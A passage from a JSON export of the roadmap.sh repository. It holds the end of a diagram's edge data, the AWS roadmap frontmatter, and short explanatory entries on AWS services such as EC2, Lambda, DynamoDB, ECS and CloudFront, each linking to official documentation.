\"xy-edge__9TcYdsdmvKWWHoyE6uNbCz2-_c_Wq84yIu4ac7e0RzDtCy1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_c_Wq84yIu4ac7e0RzDtC\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"EqUT0wpdPRDGtGAZ7nneY\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge___c_Wq84yIu4ac7e0RzDtCx2-EqUT0wpdPRDGtGAZ7nneYw2\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"EqUT0wpdPRDGtGAZ7nneY\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"kvHzEDZQV72AUjqisg8PB\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__EqUT0wpdPRDGtGAZ7nneYy2-kvHzEDZQV72AUjqisg8PBz2\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"kvHzEDZQV72AUjqisg8PB\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"741vsAPTXJLVUlazFg0q4\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__kvHzEDZQV72AUjqisg8PBx2-741vsAPTXJLVUlazFg0q4w1\",\n      \"selected\": false,\n      \"focusable\": true\n    }\n  ]\n}"
  },
  {
    "path": "src/data/roadmaps/aws/aws.md",
    "content": "---\njsonUrl: '/jsons/roadmaps/aws.json'\npdfUrl: '/pdfs/roadmaps/aws.pdf'\norder: 14\nbriefTitle: 'AWS'\nbriefDescription: 'Step by step guide to learning AWS in 2025'\ntitle: 'AWS Roadmap'\ndescription: 'Step by step guide to learning AWS in 2025'\nrenderer: 'editor'\nisNew: false\nhasTopics: true\ndimensions:\n  width: 968\n  height: 2850\nschema:\n  headline: 'AWS Roadmap'\n  description: 'Learn how to use AWS with this interactive step by step guide in 2025. We also have resources and short descriptions attached to the roadmap items so you can get everything you want to learn in one place.'\n  imageUrl: 'https://roadmap.sh/roadmaps/aws.png'\n  datePublished: '2023-11-29'\n  dateModified: '2023-11-29'\nseo:\n  title: 'AWS Roadmap'\n  description: 'Step by step guide to learn AWS in 2025. We also have resources and short descriptions attached to the roadmap items so you can get everything you want to learn in one place.'\n  keywords:\n    - 'step by step guide for aws'\n    - 'how to learn aws'\n    - 'use aws in production'\n    - 'guide to learning aws'\n    - 'aws for beginners'\n    - 'aws tutorial'\n    - 'aws roadmap 2025'\n    - 'aws roadmap'\n    - 'aws learning path'\n    - 'aws learning roadmap'\n    - 'aws learning roadmap 2025'\n    - 'aws'\n    - 'aws learning guide'\n    - 'aws skills'\n    - 'aws for development'\n    - 'aws for development skills'\n    - 'aws for development skills test'\n    - 'aws learning guide'\n    - 'become a aws expert'\n    - 'aws career path'\n    - 'learn aws for development'\n    - 'what is aws'\n    - 'amazon web services roadmap'\n    - 'amazon web services tools'\n    - 'learn amazon web services'\n    - 'aws quiz'\n    - 'aws interview questions'\nrelatedRoadmaps:\n  - 'devops'\n  - 'computer-science'\n  - 'cloudflare'\n  - 'linux'\n  - 'backend'\nsitemap:\n  priority: 1\n  changefreq: 'monthly'\ntags:\n  - 'roadmap'\n  - 'main-sitemap'\n  - 'skill-roadmap'\n---\n"
  },
  {
    "path": "src/data/roadmaps/aws/content/amis@AfagmWcllSi81D2XIQz0V.md",
    "content": "# AMIs\n\nAmazon Machine Images (AMIs) are pre-configured templates for EC2 instances. When you launch an instance in EC2, you start with an AMI. An AMI includes details such as the operating system to use, applications to install, and the volume type and size. AMIs can be either public or private — public AMIs are available for anyone to use, while private AMIs are only available to specific AWS accounts. You can create your own custom AMIs, enabling you to quickly start and replicate a known configuration for your EC2 instances.\n\nVisit the following resources to learn more:\n\n- [@official@AMIs](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/AMIs.html)\n"
  },
  {
    "path": "src/data/roadmaps/aws/content/api-gateway@T0dvezPWX6rAiKweT0TkG.md",
    "content": "# API Gateway\n\nAWS API Gateway is a fully-managed service that makes it easy to create, publish, maintain, monitor, and secure APIs at any scale. It acts as a \"front door\" for applications to access data, business logic, or functionality from your backend services, like workloads running on Amazon EC2, AWS Lambda, or any web application. API Gateway handles all the tasks involved in accepting and processing up to hundreds of thousands of concurrent API calls, including traffic management, authorization and access control, throttling, and API version management. It provides robust, native capabilities to deliver the API governance and lifecycle management capabilities your business needs to productize its APIs.\n\nVisit the following resources to learn more:\n\n- [@official@AWS API Gateway](https://aws.amazon.com/api-gateway/)\n"
  },
  {
    "path": "src/data/roadmaps/aws/content/assuming-roles@0IMdO7g_5El1elvDXJJ_0.md",
    "content": "# Assuming Roles\n\nAssuming roles in AWS allows one AWS identity to perform actions and access resources in another AWS account, without having to share security credentials. This is achieved using temporary security credentials. You assume a role by calling the `AWS Security Token Service (STS)` AssumeRole APIs, passing the ARN of the role to assume. After successfully assuming a role, STS returns temporary security credentials that you can use to make requests to any AWS service. The assumed role provides specific permissions that determine what the role user can and cannot do. Thus, users can switch between roles using AWS Management Console, AWS CLI, or AWS API.\n\nVisit the following resources to learn more:\n\n- [@official@Assuming Roles](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_manage-assume.html)\n"
  },
  {
    "path": "src/data/roadmaps/aws/content/auto-scaling-groups@gBKHVG7FvlCEgINKmw00s.md",
    "content": "# Auto-Scaling Groups\n\n\"Autoscaling Groups\" in AWS, also known as Auto Scaling Groups (ASGs), are the main components used for scaling resources automatically according to your requirements in AWS. They contain a collection of Amazon Elastic Compute Cloud (EC2) instances that are treated as a logical grouping for the purpose of automatic scaling and management. The instances in an ASG are distributed across different availability zones in a region, ensuring a high level of fault tolerance. When defining an ASG, you specify its minimum, maximum, and desired number of EC2 instances. You also have to specify a launch configuration that determines what type of instances should be launched and from which Amazon Machine Image (AMI).\n\nVisit the following resources to learn more:\n\n- [@official@Auto Scaling Groups](https://docs.aws.amazon.com/eks/latest/best-practices/cas.html)\n"
  },
  {
    "path": "src/data/roadmaps/aws/content/auto-scaling@dOAZG-NbjWiVdPKYEhWxj.md",
    "content": "# Auto-Scaling\n\nAWS Auto Scaling is a service that automatically scales resources to meet the demands of your applications. It uses policies, health status, and schedules to determine when to add more instances, ensuring that your application always has the right amount of capacity. AWS Auto Scaling can scale resources across multiple services and manage the scaling process in real time. It optimizes for cost and performance, and with the help of Amazon CloudWatch, it adjusts capacity based on the demand patterns of your workloads.\n\nVisit the following resources to learn more:\n\n- [@official@AWS Autoscaling](https://docs.aws.amazon.com/autoscaling/ec2/userguide/what-is-amazon-ec2-auto-scaling.html)\n"
  },
  {
    "path": "src/data/roadmaps/aws/content/aws-global-infrastructure@z9R1BWUGalmnw0E7QqiW6.md",
    "content": "# AWS Global Infrastructure\n\nAWS Global Infrastructure refers to the layout of AWS regions and availability zones around the world. A region is a geographical area, each consisting of two or more availability zones (AZs) which are engineered to be isolated from failures in other AZs. AZs provide inexpensive, low-latency network connectivity to other AZs in the same region. In addition to the regions and AZs, AWS also includes edge locations for content delivery and regional edge caches, enhancing user experience by reducing latency. AWS currently operates in many geographic regions around the world.\n\nVisit the following resources to learn more:\n\n- [@official@AWS Global Infrastructure](https://aws.amazon.com/about-aws/global-infrastructure/?p=ngi&loc=0)\n- [@official@AWS Regions / Availability Zones](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-regions-availability-zones.html)\n"
  },
  {
    "path": "src/data/roadmaps/aws/content/backup--restore@NWvasq-AcwxmOKZPDv3ue.md",
    "content": "# Backup / Restore\n\nIn AWS, DynamoDB has built-in support for data backup and restore features. This includes both on-demand and continuous backups. On-demand backups allow you to create complete backups of your tables for long-term retention and archival, helping meet corporate and governmental regulatory requirements. Continuous backups enable you to restore your table data to any point in time in the last 35 days, thus offering protection from accidental writes or deletes. During a restore operation, you can choose to restore the data to a new DynamoDB table or overwrite data in an existing table. These backups include all necessary metadata, including DynamoDB global secondary indexes.\n\nVisit the following resources to learn more:\n\n- [@official@Backup & Restore](https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/Backup-and-Restore.html)\n"
  },
  {
    "path": "src/data/roadmaps/aws/content/backup--restore@tBKc7tHOiJaTmwEl3q--Y.md",
    "content": "# Backup / Restore\n\n`Backup Restore` in AWS RDS provides the ability to restore your DB instance to a specific point in time. When you initiate a point-in-time restore, a new DB instance is created and all transactions that occurred after the specified point-in-time are not part of the new DB instance. You can restore up to the last restorable time (typically within the last five minutes) as indicated in the AWS RDS Management Console. The time it takes to create the restore depends on the difference in time between when you initiate the restore and the time you are restoring to. The process happens with no impact on the source database and you can continue using your database during restore.\n\nVisit the following resources to learn more:\n\n- [@official@Backup & Restore - RDS](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/CHAP_CommonTasks.BackupRestore.html)\n"
  },
  {
    "path": "src/data/roadmaps/aws/content/bucket--object-lifecycle@8i6zpjkMC_Pg-tDNmrx4n.md",
    "content": "# Bucket / Object Lifecycle\n\nAWS S3 Lifecycle is a feature within the AWS S3 resources that allows users to manage their objects so that they are automatically transferred to different storage classes or expire at the end of their lifetimes. It facilitates transitioning objects between different storage classes at set times or according to specified conditions, and can also automate the cleanup of expired objects to help reduce storage consumed by obsolete data. A lifecycle can be applied to a bucket or a subset of objects. Note that each transition or expiration activity is a separate action within the lifecycle.\n\nVisit the following resources to learn more:\n\n- [@official@Bucket / Object Lifecycle](https://docs.aws.amazon.com/AmazonS3/latest/userguide/object-lifecycle-mgmt.html)\n"
  },
  {
    "path": "src/data/roadmaps/aws/content/buckets--objects@rTgjDj5HqbjRpcJ7PR-EC.md",
    "content": "# Buckets / Objects\n\nIn AWS S3, a \"bucket\" is a container for data. It is used to store objects. The objects include files or, more technically, any type of data that can be stored in the form of files. In terms of hierarchy, buckets are at the top level in AWS S3. Inside these buckets, you can store any number of objects. An object consists of a file and optionally any metadata that describes that file. It's important to note that you can also store folders within these buckets and inside these folders, you can again store objects. Object keys are unique within a bucket and they help in identifying and retrieving the object.\n\nVisit the following resources to learn more:\n\n- [@official@Bucket / Object](https://docs.aws.amazon.com/AmazonS3/latest/userguide/UsingBucket.html)\n"
  },
  {
    "path": "src/data/roadmaps/aws/content/capacity-settings@KtXww9J0znwzTwL7GKfaY.md",
    "content": "# Capacity Settings\n\nAmazon DynamoDB capacity settings refer to the read and write capacity of your tables. The read capacity unit is a measure of the number of strong consistent reads per second, while the write capacity unit is a measure of the number of writes per second. You can set up these capacities either as provisioned or on-demand. Provisioned capacity is where you specify the number of reads and writes per second that you expect your application to require. On the other hand, on-demand capacity allows DynamoDB to automatically manage your read and write capacity to meet the needs of your workload.\n\nVisit the following resources to learn more:\n\n- [@official@Capacity Settings](https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/capacity-mode.html)\n"
  },
  {
    "path": "src/data/roadmaps/aws/content/cidr-blocks@2hFBv2fhKDYBN-9ITs82J.md",
    "content": "# CIDR Blocks\n\n\"CIDR\" stands for Classless Inter-Domain Routing. In AWS VPC, a CIDR block is the IP address block from which private IPv4 addresses and public IPv4 addresses are allocated when you create a VPC. The CIDR block can range from /28 (16 IP addresses) to /16 (65,536 IP addresses). It represents a network segment and is associated with a network boundary. Upon creation, you cannot change the CIDR block of your VPC, but you can add additional CIDR blocks to it if needed. A VPC's CIDR block should not overlap with any of the existing network's CIDR blocks.\n\nVisit the following resources to learn more:\n\n- [@official@cidr.xyz: Interactive CIDR range visualizer](https://cidr.xyz/)\n- [@official@VPC - CIRD Blocks](https://docs.aws.amazon.com/vpc/latest/userguide/vpc-cidr-blocks.html)\n"
  },
  {
    "path": "src/data/roadmaps/aws/content/cloudfront@zFgnu2fL0EUKIMz9tVH1j.md",
    "content": "# Cloudfront\n\nAmazon CloudFront is a fast content delivery network (CDN) service that securely delivers data, videos, applications, and APIs to customers globally with low latency, high transfer speeds all within a developer-friendly environment. It integrates with AWS services including AWS Shield for DDoS mitigation, Amazon S3, Elastic Load Balancing or Amazon EC2 as origins for your applications, and Lambda@Edge to run custom code closer to customers’ users and to customize the user experience. Essentially, it accelerates the distribution of your static and dynamic web content, such as .html, .css, .php, image, and media files, to end users.\n\nVisit the following resources to learn more:\n\n- [@official@Amazon Cloudfront](https://aws.amazon.com/cloudfront/)\n"
  },
  {
    "path": "src/data/roadmaps/aws/content/cloudwatch@VAYxwJH10PFjGS8poKd9-.md",
    "content": "# Cloudwatch\n\n\"Amazon CloudWatch\" is a monitoring service for AWS resources and applications that you run on Amazon Web Services. You can use Amazon CloudWatch to collect and track metrics, collect and monitor log files, and respond to system-wide performance changes. CloudWatch gives system-wide visibility into resource utilization, application performance, and operational health. It utilizes operational data (logs and metrics) to automatically respond to changes in AWS resources. It allows you to work seamlessly with various AWS services like Amazon EC2, Amazon DynamoDB, Amazon S3, Amazon ECS, AWS Lambda, and many more.\n\nVisit the following resources to learn more:\n\n- [@official@Amazon Cloudwatch](https://docs.aws.amazon.com/AmazonCloudWatch/latest/monitoring/WhatIsCloudWatch.html)\n"
  },
  {
    "path": "src/data/roadmaps/aws/content/clusters--ecs-container-agents@PphzNicIJawVElmY5rn8f.md",
    "content": "# Clusters / ECS Container Agents\n\nIn AWS, an ECS **Cluster** is a logical grouping of tasks or services. If you run tasks or create services, you do it inside a cluster, so it's a vital building block of the Amazon ECS infrastructure. It serves as a namespace for your tasks and services, as these entities cannot span multiple clusters. The Amazon ECS tasks that run in a cluster are fundamentally distributed across all the Container Instances within an ECS Cluster.\n\nVisit the following resources to learn more:\n\n- [@official@Clusters](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/clusters.html)\n- [@official@ECS Container Agents](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs-agent-config.html)\n"
  },
  {
    "path": "src/data/roadmaps/aws/content/cold-start-and-limitations@EuOv19jDSj56Cy7PqvtNv.md",
    "content": "# Cold Start and Limitations\n\nAWS Lambda's cold start refers to the delay experienced when Lambda invokes a function for the first time or after it has updated its code or dependencies. This happens because Lambda needs to do some initial setup, such as initializing the runtime, before it can execute the function code. This setup process adds to the function's execution time, and is particularly noticeable in situations where low latency is critical. Cold start times also vary based on the memory size, with bigger lambda functions taking longer times to start. Further, unused functions may face a cold start again as AWS may clear out idle resources from time to time.\n\nVisit the following resources to learn more:\n\n- [@official@AWS Cold Start and Limitations](https://docs.aws.amazon.com/lambda/latest/dg/snapstart.html)\n"
  },
  {
    "path": "src/data/roadmaps/aws/content/configuration-sets@4svXYQYmqjUZU39z8OyhD.md",
    "content": "# Configuration Sets\n\nConfiguration Sets in SES (Simple Email Service) of AWS (Amazon Web Services) allow you to publish email sending events. These sets are used to group together similar rules that you can apply to emails you send using AWS SES. You can apply a configuration set to an email by including it in the headers of the email. It can be used to specify the dedicated sending IP pools, configure the message delivery parameters, and to enable open and click tracking. AWS SES sends information about each email sent with the set to CloudWatch and Kinesis Firehose which can be later utilized for further analysis or to manage your customer interactions more effectively.\n\nVisit the following resources to learn more:\n\n- [@official@SES](https://docs.aws.amazon.com/ses/latest/dg/using-configuration-sets.html)\n"
  },
  {
    "path": "src/data/roadmaps/aws/content/cpu-credits@_U2bKjxIrAAk7TMrPttpb.md",
    "content": "# CPU Credits\n\nAWS EC2 instances earn CPU Credits when they are idle and consume CPU credits when they are active. A CPU credit provides the performance of a full CPU core for one minute. T2 and T3 instances accrue CPU Credits and use them to burst beyond their baseline performance. For example, a t2.micro instance receives credits continuously at a rate of 6 CPU Credits per hour. The credit balance of an instance can be saved for up to 7 days. When the instance does not have any CPU credits, it performs at the baseline. It's important to note that CPU credit pricing is different and additional to the instance pricing. AWS also offers Unlimited mode for instances that need to burst beyond the baseline performance for extended periods.\n\nVisit the following resources to learn more:\n\n- [@official@Burstable Performance Instances and CPU Credits](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/burstable-credits-baseline-concepts.html)\n- [@feed@Explore top posts about Computing](https://app.daily.dev/tags/computing?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/aws/content/creating--invoking-functions@SdCNevKjyhFcreMSWY6BT.md",
    "content": "# Creating / Invoking Functions\n\nTo create a Lambda function in AWS, navigate to the AWS Management Console, select \"Lambda\" under \"Compute\" and then \"Create function\". Specify the function name, execution role and runtime environment. Once the function is created, you can write or paste the code into the inline editor. To invoke a Lambda function, you can either do it manually, via an API gateway, or schedule it. Manually invoking can be done by selecting your function in the AWS console, then \"Test\", add the event JSON and \"Test\" again. If set up with an API gateway, it'll be triggered when the endpoints are hit. Scheduling involves using AWS Cloudwatch to trigger the functions periodically.\n\nVisit the following resources to learn more:\n\n- [@official@Create Your First Lambda Function](https://docs.aws.amazon.com/lambda/latest/dg/getting-started.html)\n- [@video@First AWS Lambda Function](https://www.youtube.com/watch?v=e1tkFsFOBHA)\n"
  },
  {
    "path": "src/data/roadmaps/aws/content/custom-runtimes@KWjIAakMIlxn_jso22h0M.md",
    "content": "# Custom Runtimes\n\nAWS Lambda supports several preconfigured runtimes for you to choose from, including Node.js, Java, Ruby, Python, and Go. However, if your preferred programming language or specific language version isn't supported natively, you can use **custom runtimes**. A custom runtime in AWS Lambda is a Linux executable that handles invocations and communicates with the Lambda service. It enables you to use any programming language to handle AWS Lambda events. The runtime is responsible for running the bootstrap, which is an executable file, to start the execution process environment, process incoming requests, and manage interaction between your function code and the infrastructure.\n\nVisit the following resources to learn more:\n\n- [@official@AWS Lambda Runtimes](https://docs.aws.amazon.com/lambda/latest/dg/lambda-runtimes.html)\n"
  },
  {
    "path": "src/data/roadmaps/aws/content/data-modeling@aU1lv80xXNkQTD41Qfln5.md",
    "content": "# Data Modeling\n\nIn AWS DynamoDB, data modeling is a process that involves determining how to organize, access, and understand the data stored in a database. This process is crucial as it outlines how data will be stored and accessed across a wide range of databases and applications. The primary components of data modeling in DynamoDB include tables, items, and attributes. Tables are collections of data. Items are individual pieces of data that are stored in a table. Attributes are elements of data that relate to a particular item. DynamoDB uses a NoSQL model which means it’s schema-less, i.e., the data can be structured in any way that your business needs  \nprescribe, and can be changed at any time. This contrasts with traditional relational databases which require pre-defined schemas.\n\nVisit the following resources to learn more:\n\n- [@official@Data Modeling](https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/data-modeling.html)\n"
  },
  {
    "path": "src/data/roadmaps/aws/content/db-instances@l9oq3LiEd8ZrPtupPk-Fn.md",
    "content": "# DB Instances\n\nThe term \"DB Instance\" is used within the context of Amazon's Relational Database Service (RDS). A DB Instance is essentially an isolated database environment in the cloud, run within Amazon RDS. A DB Instance can contain multiple user-created databases, and can be accessed using the same tools and applications that you might use with a stand-alone database instance. You can create and manage a DB Instance via the AWS Management Console, the AWS RDS Command Line Interface, or through simple API calls.\n\nVisit the following resources to learn more:\n\n- [@official@DB Instances - RDS](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/Overview.DBInstance.html)\n"
  },
  {
    "path": "src/data/roadmaps/aws/content/dedicated-ip@pnX1dfkjS8woWc4KGXlh_.md",
    "content": "# Dedicated IP\n\n\"Dedicated IP\" in AWS SES (Simple Email Service) refers to a unique IP address that can be used exclusively by a single AWS SES customer for sending emails. When you choose to use a dedicated IP, you get full control over the reputation of that IP address, which is beneficial when sending large volume of emails. AWS can also pool multiple dedicated IPs enabling high volume senders to spread their sending across multiple IPs to maintain their reputation. It is particularly useful for companies that must comply with strict email policies or send significantly large volumes of email.\n\nVisit the following resources to learn more:\n\n- [@official@Dedicated IP](https://docs.aws.amazon.com/ses/latest/dg/dedicated-ip.html)\n"
  },
  {
    "path": "src/data/roadmaps/aws/content/distributions@fAK7GRKunmoidlD32OBma.md",
    "content": "# Distributions\n\nIn AWS, a CloudFront \"distribution\" is the globally distributed network system that helps you to accelerate the delivery of your website, API, video content, or other web assets. These distributions are defined by AWS based on the specified configuration settings. It specifies from where CloudFront gets your files that it will distribute, which is primarily your Amazon S3 bucket or an HTTP server. Notably, there are primarily two types of distributions you can create: web distributions, which are typically used for websites, and RTMP distributions, used mainly for media streaming.\n\nVisit the following resources to learn more:\n\n- [@official@Cloudfront Distribution](https://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/distribution-working-with.html)\n"
  },
  {
    "path": "src/data/roadmaps/aws/content/dkim-setup@zwVd1vNm1ks6MdHZoi-5W.md",
    "content": "# DKIM Setup\n\nDKIM (DomainKeys Identified Mail) is a standard that prevents email spoofing. It allows an organization to take responsibility for transmitting a message in a way that can be verified by mailbox providers. This verification is made possible through cryptographic authentication. In Amazon SES, you can setup DKIM by adding a set of three CNAME records to the DNS configuration of your sending domain. Each record maps a fictitious subdomain of your sending domain to a domain maintained by Amazon SES. After you add these records and they propagate through the internet's DNS infrastructure, you can start sending authenticated email from your domain.\n\nVisit the following resources to learn more:\n\n- [@official@DKIM](https://dkim.org/)\n- [@article@DKIM - Cloudflare](https://www.cloudflare.com/learning/email-security/dmarc-dkim-spf/)\n"
  },
  {
    "path": "src/data/roadmaps/aws/content/dynamodb-local@yauCWo1VoG-X483-4mfdn.md",
    "content": "# DynamoDB Local\n\nDynamoDB Local is a downloadable version of Amazon DynamoDB that lets you write and test applications without accessing the real AWS services. It mimics the actual DynamoDB service. You can write code while sitting in a place where internet isn't available as you don't need internet connectivity to use DynamoDB Local. It supports the same API as DynamoDB and works with your existing DynamoDB API calls. The data is stored locally in your system, not on a network, and persists between restarts of DynamoDB Local.\n\nVisit the following resources to learn more:\n\n- [@official@DynamoDB Local](https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/DynamoDBLocal.html)\n"
  },
  {
    "path": "src/data/roadmaps/aws/content/dynamodb@wGb0TEDnSe_bmv9Krx4qB.md",
    "content": "# DynamoDB\n\nAmazon DynamoDB is a fully managed NoSQL database solution that provides fast and predictable performance with seamless scalability. It is a key-value and document database that delivers single-digit millisecond performance at any scale. DynamoDB can handle more than 10 trillion requests per day and support peaks of more than 20 million requests per second. It maintains high durability of data via automatic replication across three different zones in an Amazon defined region.\n\nVisit the following resources to learn more:\n\n- [@official@Amazon DynamoDB](https://aws.amazon.com/dynamodb/)\n"
  },
  {
    "path": "src/data/roadmaps/aws/content/ec2@cL7vis8H5L2vv6LqJ5wvC.md",
    "content": "# EC2\n\nAmazon Elastic Compute Cloud (EC2) is a web service that provides secure, resizable compute capacity in the cloud. It is designed to make web-scale cloud computing easier for developers. EC2’s simple web service interface allows you to obtain and configure capacity with minimal friction. EC2 enables you to scale your compute capacity, develop and deploy applications faster, and run applications on AWS's reliable computing environment. You have the control of your computing resources and can access various configurations of CPU, Memory, Storage, and Networking capacity for your instances.\n\nVisit the following resources to learn more:\n\n- [@official@EC2 - User Guide](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/concepts.html)\n- [@video@Introduction to Amazon EC2](https://www.youtube.com/watch?v=eaicwmnSdCs)\n"
  },
  {
    "path": "src/data/roadmaps/aws/content/ecr@_c_Wq84yIu4ac7e0RzDtC.md",
    "content": "# ECR\n\nAWS Elastic Container Registry (ECR) is a fully-managed Docker container registry that makes it easy for developers to store, manage, and deploy Docker container images. ECR eliminates the need to operate your own container repositories or worry about scaling the underlying infrastructure. ECR hosts your images in a highly available and scalable architecture, allowing you to reliably deploy containers for your applications. Integration with AWS Identity and Access Management (IAM) provides resource-level control of each repository.\n\nVisit the following resources to learn more:\n\n- [@official@AWS Elastic Container Registry (ECR)](https://aws.amazon.com/ecr/)\n- [@official@Concepts of Amazon ECR](https://docs.aws.amazon.com/AmazonECR/latest/userguide/concept-and-components.html)\n"
  },
  {
    "path": "src/data/roadmaps/aws/content/ecs@EqUT0wpdPRDGtGAZ7nneY.md",
    "content": "# ECS\n\nAmazon Elastic Container Service (ECS) is a highly scalable, high-performance container orchestration service that supports Docker containers and allows you to easily run and scale containerized applications on AWS. ECS eliminates the need for you to install, operate, and scale your own cluster management infrastructure. With simple API calls, you can launch and stop Docker-enabled applications, query the complete state of your application, and access many familiar features like Amazon EC2 security groups, EBS volumes and IAM roles. ECS also integrates with AWS services like AWS App Mesh for service mesh, Amazon RDS for database services, and AWS Systems Manager for operational control.\n\nVisit the following resources to learn more:\n\n- [@official@Amazon Elastic Container Service (ECS)](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/Welcome.html)\n"
  },
  {
    "path": "src/data/roadmaps/aws/content/eks@kvHzEDZQV72AUjqisg8PB.md",
    "content": "# EKS\n\nAmazon Elastic Kubernetes Service (EKS) is a managed service that simplifies the deployment, management, and scaling of containerized applications using Kubernetes, an open-source container orchestration platform. EKS manages the Kubernetes control plane for the user, making it easy to run Kubernetes applications without the operational overhead of maintaining the Kubernetes control plane. With EKS, you can leverage AWS services such as Auto Scaling Groups, Elastic Load Balancer, and Route 53 for resilient and scalable application infrastructure. Additionally, EKS can support Spot and On-Demand instances use, and includes integrations with AWS App Mesh service and AWS Fargate for serverless compute.\n\nVisit the following resources to learn more:\n\n- [@official@Amazon Elastic Kubernetes Service (EKS)](https://aws.amazon.com/eks/)\n- [@official@Concepts of Amazon EKS](https://docs.aws.amazon.com/eks/)\n"
  },
  {
    "path": "src/data/roadmaps/aws/content/elastic-ip@DCvkZSp25pjaimG0THLTu.md",
    "content": "# Elastic IP\n\n\"Elastic IP\" in AWS EC2 is a static IPv4 address designed for dynamic cloud computing. An Elastic IP address is associated with your AWS account not a particular instance, and you control that address until you choose to explicitly release it. Unlike traditional static IP addresses, however, Elastic IP addresses allow you to mask the failure of an instance or software by rapidly remapping the address to another instance in your account.\n\nVisit the following resources to learn more:\n\n- [@official@Elastic IP Addresses](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/elastic-ip-addresses-eip.html)\n"
  },
  {
    "path": "src/data/roadmaps/aws/content/elastic-load-balancers@YAZPKMbmrxYNqF6alXMyL.md",
    "content": "# Elastic Load Balancers\n\nElastic Load Balancing (ELB) is a load-balancing service for Amazon Web Services (AWS) deployments. It automatically distributes incoming application traffic and scales resources to meet traffic demands. ELB helps to ensure that the incoming traffic is spread evenly across your Amazon EC2 instances, making your application more highly available and fault-tolerant. It supports routing and load balancing for HTTP/HTTPS, and TCP traffic. There are three types of load balancers that ELB offers - Application Load Balancer (ideal for HTTP and HTTPS traffic), Network Load Balancer (best for TCP traffic where extreme performance is required) and Classic Load Balancer (provides basic load balancing across multiple Amazon EC2 instances).\n\nVisit the following resources to learn more:\n\n- [@official@Elastic Load Balancers](https://aws.amazon.com/elasticloadbalancing/)\n"
  },
  {
    "path": "src/data/roadmaps/aws/content/elasticache@9TcYdsdmvKWWHoyE6uNbC.md",
    "content": "# ElastiCache\n\nAmazon ElastiCache is a fully managed in-memory data store from Amazon Web Services (AWS). It is designed to speed up dynamic web applications by reducing the latency and throughput constraints associated with disk-based databases. ElastiCache supports two open-source in-memory engines: Memcached and Redis. Redis is commonly used for database caching, session management, messaging, and queueing, while Memcached is typically used for caching smaller, simpler datasets. One of the key features of ElastiCache is its uniform performance and scalability, which enables it to handle large datasets and high-traffic websites.\n\nVisit the following resources to learn more:\n\n- [@official@Amazon ElastiCache](https://docs.aws.amazon.com/AmazonElastiCache/latest/dg/WhatIs.html)\n"
  },
  {
    "path": "src/data/roadmaps/aws/content/event-bridge--scheduled-execution@0CUfDEMwCwSHVdqkP8lOG.md",
    "content": "# Event Bridge / Scheduled Execution\n\nAmazon EventBridge is a serverless event bus that makes it easy to connect applications together using data from your own applications, Software-as-a-Service (SaaS) applications, and AWS services. It enables you to build a bridge between your applications, regardless of where they are. With EventBridge, you simply ingest, filter, transform, and deliver events. It simplifies the process of ingesting and delivering events across your application architecture, while also handling event management. EventBridge combines all of the functionality of CloudWatch Events with new and enhanced features.\n\nVisit the following resources to learn more:\n\n- [@official@Amazon EventBridge](https://docs.aws.amazon.com/eventbridge/latest/userguide/eb-what-is.html)\n"
  },
  {
    "path": "src/data/roadmaps/aws/content/events@tHQ6NRVDPCPEOmzgjQDLX.md",
    "content": "# Events\n\nAWS CloudWatch Events is a service that provides a streamlined, systematic method to respond to system-wide changes in your AWS environment. This could range from a simple state change, like an EC2 instance being stopped or started, to a more complex series of conditions. You can set an Event Pattern to monitor AWS resources for specific changes or you can schedule cron jobs. The action resulting from the event pattern can be a Lambda function, SNS notification, or auto-scaling policy amongst other options. Essentially, AWS CloudWatch Events helps you automate your AWS services and respond automatically to system events.\n\nVisit the following resources to learn more:\n\n- [@official@Amazon Cloudwatch Events](https://docs.aws.amazon.com/whitepapers/latest/introduction-devops-aws/cloudwatch-events.html)\n"
  },
  {
    "path": "src/data/roadmaps/aws/content/fargate@OI8y54RhFpfS_l1L9VTZe.md",
    "content": "# Fargate\n\nFargate is a technology used for the deployment of containers in Amazon's Elastic Container Service (ECS). This technology completely removes the need to manage the EC2 instances for your infrastructure; therefore, you would not have to be concerned about selecting the right type of EC2 instances, deciding when to scale your clusters, or optimizing cluster packing. In simple terms, Fargate allows you to focus on designing and building your applications instead of managing the infrastructure.\n\nVisit the following resources to learn more:\n\n- [@official@Amazon Fargate](https://aws.amazon.com/fargate/)\n"
  },
  {
    "path": "src/data/roadmaps/aws/content/feedback-handling@0NWTFssjg9SbDXQRkN5kF.md",
